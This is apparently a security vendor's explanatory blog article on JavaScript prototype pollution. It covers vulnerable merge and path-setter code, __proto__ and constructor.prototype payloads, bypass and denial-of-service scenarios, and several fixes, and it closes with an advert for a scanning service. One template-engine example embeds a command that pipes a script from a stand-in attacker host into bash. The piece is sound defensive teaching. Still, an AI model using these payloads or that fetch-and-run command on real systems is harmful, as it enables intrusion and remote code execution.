Security Concepts10 min read7 October 2026

What Is Prototype Pollution? JavaScript Security Guide | Yrzo AI

Prototype pollution is a JavaScript vulnerability that lets attackers inject properties into object prototypes, corrupting application logic. Learn how it works, real exploits, and how to fix it.

By Yrzo AI — UK cybersecurity specialists

What Is Prototype Pollution?

Prototype pollution is a class of vulnerability specific to JavaScript that allows an attacker to inject properties into the root object prototype (`Object.prototype`), causing those properties to appear on all JavaScript objects in the application. Because JavaScript uses prototype-based inheritance, any property added to `Object.prototype` is inherited by every object in the runtime — corrupting application logic, bypassing security checks, and in some cases achieving remote code execution.

The vulnerability is pervasive across JavaScript environments: Node.js backend applications, frontend single-page applications, and any JavaScript library that performs unsafe object merging, cloning, or path-setting operations. It has been found in hundreds of widely-used npm packages including lodash, jQuery, minimist, and many others.

Understanding prototype pollution is essential for any team building or auditing JavaScript applications — it's subtle enough to be missed in code review but serious enough to lead to authentication bypass, privilege escalation, and RCE.

JavaScript Prototypes: A Quick Mental Model

Every JavaScript object has an internal prototype chain. When you access a property on an object, the engine first checks the object itself, then walks up the prototype chain until it either finds the property or reaches `null`.

```javascript const obj = {}; console.log(obj.toString); // found on Object.prototype ```

The critical implication: if you can write a property onto `Object.prototype`, every object in the runtime inherits it:

```javascript Object.prototype.injected = "polluted";

const a = {}; const b = {};

console.log(a.injected); // "polluted" console.log(b.injected); // "polluted" ```

Prototype pollution is the attacker-controlled version of this.

How Prototype Pollution Happens

The Vulnerable Pattern: Unsafe Merge/Clone

The most common source of prototype pollution is a recursive merge or deep clone function that doesn't validate keys before assigning them:

```javascript function merge(target, source) { for (const key in source) { if (typeof source[key] === 'object' && source[key] !== null) { if (!target[key]) target[key] = {}; merge(target[key], source[key]); } else { target[key] = source[key]; // <-- vulnerable assignment } } return target; } ```

An attacker who controls the `source` object can craft a payload using the `__proto__` key:

```javascript const malicious = JSON.parse('{"__proto__": {"admin": true}}'); merge({}, malicious);

const victim = {}; console.log(victim.admin); // true — Object.prototype is polluted ```

The `__proto__` key is special in JavaScript: when used as a key in object assignment, it references the prototype of the object rather than creating a regular own property. The merge function walks into `source.__proto__`, which is `Object.prototype`, and assigns `admin: true` directly to it.

Via Constructor Prototype

An alternative path uses `constructor.prototype`:

```javascript const malicious = JSON.parse('{"constructor": {"prototype": {"admin": true}}}'); merge({}, malicious); ```

If the merge function recurses into `constructor` and then into `prototype`, it reaches `Object.prototype` through a different path. Some sanitisation libraries block `__proto__` but miss `constructor.prototype`.

Via Property Path Setters

Libraries that set nested object properties by path string are another common source:

```javascript function set(obj, path, value) { const parts = path.split('.'); let current = obj; for (let i = 0; i < parts.length - 1; i++) { current = current[parts[i]]; } current[parts[parts.length - 1]] = value; }

// Attacker controls path: set({}, "__proto__.admin", true); // Or: set({}, "constructor.prototype.admin", true); ```

This pattern appears in configuration parsers, template engines, and form processing libraries.

Real-World Exploit Scenarios

Authentication Bypass

An application checks for admin status:

```javascript function isAdmin(user) { return user.admin === true; } ```

After prototype pollution with `{"__proto__": {"admin": true}}`, every user object inherits `admin: true`. Even a completely unauthenticated request will pass an admin check if the code uses `user.admin` without verifying the property is an own property of `user`.

**Real example:** CVE-2019-10744 in lodash's `defaultsDeep` function. Lodash is used in millions of applications; this vulnerability allowed prototype pollution through user-controlled object merging in any application using the affected versions.

Remote Code Execution via Template Engines

Several Node.js template engines use `Object.prototype` properties during template rendering. If an attacker can pollute a property that the template engine reads from the prototype, they can inject executable code:

```javascript // Attacker pollutes: Object.prototype.outputFunctionName = "_tmp1;global.process.mainModule.require('child_process').execSync('curl attacker.com/shell | bash');//";

// Template engine reads outputFunctionName from the compiled template context // The injected string is executed as JavaScript inside the template compiler ```

This exact technique has been used against Pug (formerly Jade) and Handlebars template engines in Node.js applications. CVE-2019-10757 (Handlebars) and CVE-2021-23369 (Handlebars again) are two documented instances.

Express.js Middleware Bypass

Many Express.js middleware functions check for properties on request objects:

```javascript app.use((req, res, next) => { if (req.isAuthenticated) { next(); } else { res.status(401).send('Unauthorized'); } }); ```

If `Object.prototype.isAuthenticated` is polluted to `true` before this middleware runs, every request — including unauthenticated ones — bypasses the check, because `req.isAuthenticated` resolves to the polluted prototype property.

Denial of Service

Polluting properties that core library functions rely on can crash an application. Setting `Object.prototype.length = 0` breaks code that iterates over arrays by length. Setting `Object.prototype.constructor = null` breaks code that checks object constructors.

Where to Look for Prototype Pollution

npm Packages

A large proportion of prototype pollution vulnerabilities originate in npm packages rather than application code directly. The sink is in the library; the source is user-controlled input passed to the library. Audit the packages you use against the npm security advisories database and the Snyk vulnerability database.

**Historical vulnerable packages:** lodash (`merge`, `mergeWith`, `defaultsDeep`), jQuery (`$.extend` with deep flag), minimist (argument parsing), Hoek, mquery, set-value, object-path, and hundreds more.

API Endpoints Accepting JSON Body

Any endpoint that accepts a JSON body and passes it through a merge or clone operation is a candidate. Test by sending:

```json { "__proto__": { "polluted": "yes" } } ```

Then make a separate request and check whether the response or application behaviour reflects the polluted property. If a subsequent request to an entirely different endpoint suddenly has access to a property you injected in the prototype, pollution has occurred.

URL Query Parameters and URL Path Processing

Libraries that parse query strings into nested objects (QS, qs module with `allowPrototypes: true`) can be vulnerable:

``` GET /search?__proto__[admin]=true GET /search?constructor[prototype][admin]=true ```

Configuration Merging

Applications that merge user-supplied configuration with a default configuration object are frequently vulnerable if the merge is implemented with a naive deep clone.

How to Fix Prototype Pollution

Key Validation in Merge Functions

Reject the keys `__proto__`, `constructor`, and `prototype` in any recursive merge or path-setting function:

```javascript function safeMerge(target, source) { for (const key in source) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue; // skip dangerous keys } if (typeof source[key] === 'object' && source[key] !== null) { if (!target[key]) target[key] = {}; safeMerge(target[key], source[key]); } else { target[key] = source[key]; } } return target; } ```

Use Object.create(null) for Lookup Tables

Objects created with `Object.create(null)` have no prototype and cannot be polluted:

```javascript const safeMap = Object.create(null); safeMap['__proto__'] = 'harmless'; // just a regular own property ```

Use hasOwnProperty Checks

When checking for properties that control security decisions, always verify the property is an own property of the object, not inherited from the prototype:

```javascript // Vulnerable: if (user.admin) { ... }

// Safe: if (Object.prototype.hasOwnProperty.call(user, 'admin') && user.admin) { ... } ```

Freeze Object.prototype

In environments where you control the entire runtime, freezing `Object.prototype` prevents any pollution:

```javascript Object.freeze(Object.prototype); ```

This is a defensive measure rather than a fix — it prevents exploitation but doesn't fix the underlying vulnerable code path.

Keep Dependencies Updated

Most prototype pollution vulnerabilities in npm packages have patches. Maintaining up-to-date dependencies and running `npm audit` regularly catches known-vulnerable package versions.

Use `--disable-proto=delete` in Node.js

Node.js 13.2+ supports the `--disable-proto=delete` flag, which removes `__proto__` access entirely from the runtime. This blocks the most common pollution path but not the `constructor.prototype` path.

Testing for Prototype Pollution Automatically

Yrzo AI's continuous web application scanning includes prototype pollution test cases for JSON endpoints, query string parameters, and form submissions. Because the vulnerability's exploitability depends on what properties the application subsequently reads from the prototype, automated testing focuses on detecting the pollution itself — injecting known payloads and observing whether application behaviour changes downstream.

**[Test your JavaScript application for prototype pollution → Start free at yrzoai.dev](https://yrzoai.dev)**

A `{"__proto__": {"admin": true}}` in your API request body should never make every user an admin. Continuous testing catches the merge functions that let it happen.

Find out if your website has these vulnerabilities

Yrzo AI runs 44 automated security checks and delivers a full report in under 20 minutes. Starting from £399.

Scan your website →